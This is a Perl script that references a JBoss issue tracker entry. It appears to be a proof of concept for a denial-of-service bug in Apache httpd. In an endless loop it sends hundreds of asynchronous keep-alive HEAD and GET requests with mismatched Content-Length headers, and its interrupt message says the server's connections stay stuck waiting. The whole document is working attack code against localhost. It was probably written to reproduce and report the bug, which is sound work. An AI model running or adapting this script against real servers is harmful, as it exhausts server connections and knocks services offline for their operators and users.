# https://issues.jboss.org/browse/JBCS-129

#!/usr/bin/perl

use Term::ANSIColor;
use HTTP::Request;
use HTTP::Headers;
use HTTP::Request::Common qw(GET);
use URI::URL;      
use AnyEvent::HTTP::LWP::UserAgent;
use LWP::ConnCache;
use Coro qw( async );

my $ua_string = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801"; # The default user-agent

my $ua = AnyEvent::HTTP::LWP::UserAgent->new; # LWP var to send requests
   $ua->agent($ua_string);
   $ua->timeout(15);
   $ua->protocols_allowed([qw( http https )]);  # Playing it safe.
   $ua->conn_cache(LWP::ConnCache->new);	# Use connection cacheing (faster)
   
my $url = 'http://localhost/nonexistentpage';
my $url2 = 'http://localhost/example/index.html';
my $request_counter = 0;

$SIG{'INT'} = sub {interruption();};

Main();

sub interruption {
  print color("bold red"), "/!\\ Execute : killall httpd because the connections will still be waiting even if you stop httpd /!\\ \n";
  die;
}

sub Main {
 
 while(1)
 {
  my $new_request;
  my @requests = ();
  
  # Build Requests List
  for(my $i = 0; $i <= 500; $i++)
  {
      if(0 == $i % 2)
      {
	# EVEN
	$new_request = build_request($url, 'HEAD', $i);
      }
      else
      {
	# ODD
	$new_request = build_request($url2, 'GET', $i);
      }
      push(@requests, $new_request);
  }
  
  # Send Them Async
  my @coro = map {
	my $request = $_;
	async {
	    $ua->request($request);
	    $request_counter++;
	}
    } @requests;
    $_->join for @coro;
    print color("bold green"), "[+] Requests sent : $request_counter\n";
  }
}

sub build_request {
  
  my($url, $method, $content_length) = @_;
  my $request;
  my $response;
  
  $request = new HTTP::Request $method, $url;
  $request->content_type($content_type);
  $request->header(Connection => 'Keep-Alive');
  $request->header(Content_Length => "$content_length");
  
  return $request;
}